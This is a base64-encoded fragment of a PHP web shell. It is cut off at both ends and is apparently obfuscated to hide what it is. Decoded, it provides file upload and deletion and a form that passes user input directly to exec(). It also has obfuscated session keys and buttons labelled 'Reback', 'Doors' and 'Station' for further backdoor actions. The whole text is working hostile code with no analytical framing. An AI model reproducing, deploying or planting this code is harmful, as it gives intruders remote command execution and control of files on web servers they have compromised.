ZvcmVhY2ggKCRkZWxldGVfZmlsZV9saXN0IGFzICRrPT4kdil7CiAgICAgICAgICAgICAgICBpZihpc19kaXIoJHYpKXsKICAgICAgICAgICAgICAgICAgICAkZGVsX3Jlc3VsdCA9IGRlbGV0ZURpcmVjdG9yeSgkdik7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAkZGVsX3Jlc3VsdCA9IHVubGluaygkdik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZigkZGVsX3Jlc3VsdCl7CiAgICAgICAgICAgICAgICAgICAgJGNvdW50Kys7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAkZmFpbF9jb3VudCsrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKCRjb3VudCA+IDApewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyIgcm9sZT0iYWxlcnQiPkRlbGV0ZSAnLiRjb3VudC4nIGZpbGVzIHN1Y2Nlc3NmdWxseSE8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKCRmYWlsX2NvdW50ID4gMCl7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIiIHJvbGU9ImFsZXJ0Ij5EZWxldGUgJy4kZmFpbF9jb3VudC4nIGZpbGVzIGZhaWxlZCE8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgaWYoJF9QT1NUWydhY3QnXSA9PSAndXBsb2FkJyl7CiAgICAgICAgJHRhcmdldEZpbGUgPSAkbm93X3BhdGggLiAnLycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKTsKICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdLCAkdGFyZ2V0RmlsZSkpIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyIgcm9sZT0iYWxlcnQiPkZpbGUgJy5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl0pKS4nIHVwbG9hZGVkITwvZGl2Pic7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIiByb2xlPSJhbGVydCI+RmlsZSB1cGxvYWQgZmFpbGVkITwvZGl2Pic7CiAgICAgICAgfQogICAgfQogICAgJGZpbGVfbGlzdCA9IHNjYW5kaXIoJG5vd19wYXRoKTsKICAgICRmaWxlX2xpc3QgPSBzb3J0QnlGb2xkZXIoJG5vd19wYXRoLCAkZmlsZV9saXN0KTsKICA/PgogIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiIgc3R5bGU9Im1hcmdpbi1ib3R0b206IDFyZW07Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtNiI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ij9wYXRoPTw/cGhwIGVjaG8gJGZpbGVfcGF0aDs/PiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICAJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjMmhsYkd4ZlkyOWtaUT09IiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmWTI5a1pRPT0nXTs/PiIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InVwbG9hZCIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbSIgaWQ9ImZvcm1GaWxlU20iIG5hbWU9ImZpbGVUb1VwbG9hZCIgdHlwZT0iZmlsZSIgc3R5bGU9IndpZHRoOiAyMDBweDtkaXNwbGF5OiBpbmxpbmUtYmxvY2s7Ij4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4taW5mbyBidG4tc20iPlVwbG9hZDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgYnRuLXNtIiBocmVmPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX3BhdGg7Pz4mdHlwZT02Ij5DcmVhdGUgRmlsZTwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1zbSIgaHJlZj0iP3BhdGg9PD9waHAgZWNobyAkZmlsZV9wYXRoOz8+JnR5cGU9NyI+Q3JlYXRlIEZvbGRlcjwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi13YXJuaW5nIGJ0bi1zbSIgaHJlZj0iP3BhdGg9PD9waHAgZWNobyAkZmlsZV9wYXRoOz8+JnR5cGU9OCI+U2VhcmNoIEZpbGVzPC9hPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLTYiPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX3BhdGg7Pz4iIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImV4ZWNfY29kZSIgY2xhc3M9ImZvcm0tY29udHJvbCIgdmFsdWU9IiIgc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazt3aWR0aDogNTAlOyIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImV4ZWNfY29kZSIvPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1pbmZvIGJ0bi1zbSI+RXhlYzwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiIgc3R5bGU9Im1hcmdpbi1ib3R0b206IDFyZW07Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtNiI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ij90eXBlPTEiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpciIgY2xhc3M9ImZvcm0tY29udHJvbCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHBhdGg7Pz4iIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDgwJTsiLz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJjaGFuZ2VfZGlyIi8+CiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWluZm8gYnRuLXNtIj5DaGFuZ2UgRGlyPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtNiI+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJiZC1leGFtcGxlIGJkLWV4YW1wbGUtcm93IiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgI2VkZWRlZDtwYWRkaW5nOiAxcmVtO21hcmdpbjogMXJlbSAwOyI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMiBjb2wtc20tMSI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX3BhdGg7Pz4iIG1ldGhvZD0icG9zdCI+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjMmhsYkd4ZlkyOWtaUT09IiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmWTI5a1pRPT0nXTs/PiIvPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic2hlbGwiLz4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJyZWJhY2siLz4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdyb3VwX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ1ozSnZkWEE9J107Pz4iLz4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNoZWxsX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmYVdRPSddOz8+Ii8+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzaGVsbF90eXBlIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2RIbHdaUT09J107Pz4iLz4KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1zbSI+UmViYWNrPC9idXR0b24+CiAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLTIgY29sLXNtLTEiPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX3BhdGg7Pz4iIG1ldGhvZD0icG9zdCI+CgkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYzJobGJHeGZZMjlrWlE9PSIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydjMmhsYkd4ZlkyOWtaUT09J107Pz4iLz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzaGVsbCIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJleGVjIi8+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ3JvdXBfaWQiIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsnWjNKdmRYQT0nXTs/PiIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNoZWxsX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmYVdRPSddOz8+Ii8+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic2hlbGxfdHlwZSIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydkSGx3WlE9PSddOz8+Ii8+CiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXdhcm5pbmcgYnRuLXNtIj5FeGVjPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMiBjb2wtc20tMSI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ij9wYXRoPTw/cGhwIGVjaG8gJGZpbGVfcGF0aDs/PiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjMmhsYkd4ZlkyOWtaUT09IiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmWTI5a1pRPT0nXTs/PiIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNoZWxsIi8+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9Im90aGVycyIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNoZWxsX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmYVdRPSddOz8+Ii8+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ3JvdXBfaWRfMiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydjMlZqYjI1ayddOz8+Ii8+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ3JvdXBfaWRfMyIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydkR2hwY21SbmNtOTFjQT09J107Pz4iLz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzaGVsbF90eXBlIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2RIbHdaUT09J107Pz4iLz4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4taW5mbyBidG4tc20iPk90aGVyczwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLTIgY29sLXNtLTEiPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX3BhdGg7Pz4iIG1ldGhvZD0icG9zdCI+CgkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYzJobGJHeGZZMjlrWlE9PSIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydjMmhsYkd4ZlkyOWtaUT09J107Pz4iLz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzaGVsbCIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJkb29ycyIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdyb3VwX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ1ozSnZkWEE9J107Pz4iLz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzaGVsbF9pZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydjMmhsYkd4ZmFXUT0nXTs/PiIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNoZWxsX3R5cGUiIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsnZEhsd1pRPT0nXTs/PiIvPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIj5Eb29yczwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLTIgY29sLXNtLTEiPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX3BhdGg7Pz4iIG1ldGhvZD0icG9zdCI+CgkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYzJobGJHeGZZMjlrWlE9PSIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydjMmhsYkd4ZlkyOWtaUT09J107Pz4iLz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzaGVsbCIvPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJzdGF0aW9uIi8+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic2hlbGxfaWQiIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsnYzJobGJHeGZhV1E9J107Pz4iLz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzaGVsbF90eXBlIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2RIbHdaUT09J107Pz4iLz4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBidG4tc20iPlN0YXRpb248L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJiZC1leGFtcGxlIGJkLWV4YW1wbGUtcm93IiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgI2VkZWRlZDtwYWRkaW5nOiAxcmVtO21hcmdpbjogMXJlbSAwOyI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiBjb2wtc20tMTIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPgogICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgaWYoJF9QT1NUWydhY3QnXSA9PSAnc2hlbGwnKXsKICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAncmViYWNrJyl7CiAgICAgICAgICAgICAgICAgICAgICAgIHJlYmFja0FjdGlvbigkX1BPU1QsICRwd3MsICRub3dfc2l0ZSk7CiAgICAgICAgICAgICAgICAgICAgfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2V4ZWMnKXsKICAgICAgICAgICAgICAgICAgICAgICAgZXhlY0FjdGlvbigkX1BPU1QsICRwd3MsICRub3dfc2l0ZSk7CiAgICAgICAgICAgICAgICAgICAgfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rvb3JzJyl7CiAgICAgICAgICAgICAgICAgICAgICAgIGRvb3JzQWN0aW9uKCRfUE9TVCwgJHB3cywgJG5vd19zaXRlKTsKICAgICAgICAgICAgICAgICAgICB9ZWxzZSBpZigkX1BPU1RbJ3R5cGUnXSA9PSAnb3RoZXJzJyl7CiAgICAgICAgICAgICAgICAgICAgICAgIG90aGVyc0FjdGlvbigkX1BPU1QsICRwd3MsICRub3dfc2l0ZSk7CiAgICAgICAgICAgICAgICAgICAgfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ3N0YXRpb24nKXsKICAgICAgICAgICAgICAgICAgICAgICAgc3RhdGlvbkFjdGlvbigkX1BPU1QsICRwd3MsICRub3dfc2l0ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgPD9waHAgCiAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2FjdCddID09ICdleGVjX2NvZGUnKXsKICAgICAgICAgICAgICAgICAgICAkZXhlY19jb2RlID0gdHJpbSgkX1BPU1RbJ2V4ZWNfY29kZSddKTsKICAgICAgICAgICAgICAgICAgICBleGVjKCRleGVjX2NvZGUsICRvdXRwdXQsICRyZXR1cm5WYXIpOwogICAgICAgICAgICAgICAgICAgIGlmICgkcmV0dXJuVmFyID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxkaXYgc3R5bGU9J2NvbG9yOiBncmVlbjtmb250LXdlaWdodDpib2xkOyc+Ii4kZXhlY19jb2RlLiIgaXMgU3VjY2Vzc2Z1bGx5LjwvZGl2PiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJG91dHB1dCBhcyAkaz0+JHYpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkdi4nPGJyLz4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGRpdiBzdHlsZT0nY29sb3I6IHJlZDtmb250LXdlaWdodDpib2xkOyc+Ii4kZXhlY19jb2RlLiIgaXMgRmFpbGVkOiIuJHJldHVyblZhci4iLjwvZGl2PiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgIDxmb3JtIGFjdGlvbj0iP3BhdGg9PD9waHAgZWNobyAkZmlsZV9wYXRoOz8+IiBtZXRob2Q9InBvc3QiPgoJICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjMmhsYkd4ZlkyOWtaUT09IiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2MyaGxiR3hmWTI5a1pRPT0nXTs/PiIvPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAxcmVtOyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0iZGVsIi8+CiAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhbmdlciBidG4teHMiPkRlbGV0ZTwvYnV0dG9uPgogICAgICA8L2Rpdj4KICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ib3JkZXJlZCI+CiAgICAgICAgPHRoZWFkPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGg+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIj4KICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIGlkPSJhbGxjaGVjayIgbmFtZT0iYWxsY2hlY2siPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvdGg+ICAKICAgICAgICAgICAgPHRoPk5hbWU8L3RoPgogICAgICAgICAgICA8dGg+VXJsPC90aD4KICAgICAgICAgICAgPHRoPlNpemU8L3RoPgogICAgICAgICAgICA8dGg+TW9kaWZ5PC90aD4KICAgICAgICAgICAgPHRoPlBlcm1pc3Npb248L3RoPgogICAgICAgICAgICA8dGg+QWN0aW9uPC90aD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90aGVhZD4KICAgICAgICA8dGJvZHk+CiAgICAgICAgICA8P3BocCAKICAgICAgICAgIGlmKCFlbXB0eSgkZmlsZV9saXN0KSAmJiBjb3VudCgkZmlsZV9saXN0KSA+IDIpewogICAgICAgICAgZm9yZWFjaCgkZmlsZV9saXN0IGFzICRrPT4kdil7CiAgICAgICAgICAgaWYoISgkdiA9PSAnLicgfHwgJHYgPT0gJy4uJykpewogICAgICAgICAgICAgICAkZmlsZV91cmwgPSAkbm93X3BhdGggLiAnLycgLiR2OwogICAgICAgICAgPz4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRoPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayI+CiAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlX3VybDs/PiIgbmFtZT0iY2hpbGRjaGVja1tdIj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L3RoPiAKICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgPD9waHAgCiAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmaWxlX3VybCkpewogICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/cGF0aD0nLiRmaWxlX3VybC4nJnR5cGU9MSIgc3R5bGU9ImNvbG9yOiBncmVlbjtmb250LXdlaWdodDpib2xkOyI+CiAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJiaSBiaS1mb2xkZXIiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIGZpbGw9ImN1cnJlbnRDb2xvciIgY2xhc3M9ImJpIGJpLWZvbGRlciIgdmlld0JveD0iMCAwIDE2IDE2Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTS41NCAzLjg3LjUgM2EyIDIgMCAwIDEgMi0yaDMuNjcyYTIgMiAwIDAgMSAxLjQxNC41ODZsLjgyOC44MjhBMiAyIDAgMCAwIDkuODI4IDNoMy45ODJhMiAyIDAgMCAxIDEuOTkyIDIuMTgxbC0uNjM3IDdBMiAyIDAgMCAxIDEzLjE3NCAxNEgyLjgyNmEyIDIgMCAwIDEtMS45OTEtMS44MTlsLS42MzctN2ExLjk5IDEuOTkgMCAwIDEgLjM0Mi0xLjMxek0yLjE5IDRhMSAxIDAgMCAwLS45OTYgMS4wOWwuNjM3IDdhMSAxIDAgMCAwIC45OTUuOTFoMTAuMzQ4YTEgMSAwIDAgMCAuOTk1LS45MWwuNjM3LTdBMSAxIDAgMCAwIDEzLjgxIDRIMi4xOXptNC42OS0xLjcwN0ExIDEgMCAwIDAgNi4xNzIgMkgyLjVhMSAxIDAgMCAwLTEgLjk4MWwuMDA2LjEzOUMxLjcyIDMuMDQyIDEuOTUgMyAyLjE5IDNoNS4zOTZsLS43MDctLjcwN3oiLz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+CiAgICAgICAgICAgICAgICAgICAgPC9pPicuJHYuJzwvYT4nOwogICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/cGF0aD0nLiRmaWxlX3VybC4nJnR5cGU9MiI+Jy4kdi4nPC9hPic7CiAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgPD9waHAgaWYoIWlzX2RpcigkZmlsZV91cmwpKXsgPz4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJG5vd191cmwuJy8nLiR2Oz8+IiB0YXJnZXQ9Il9ibGFuayI+Y2xpY2sgdmlzaXQ8L2E+CiAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZmlsZV91cmwpKXsKICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIiBzdHlsZT0iZm9udC13ZWlnaHQ6IGJvbGQ7Ij5EaXJlY3Rvcnk8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgZWNobyBnZXRGaWxlU2l6ZSgkZmlsZV91cmwpOwogICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgJG1vZGlmaWNhdGl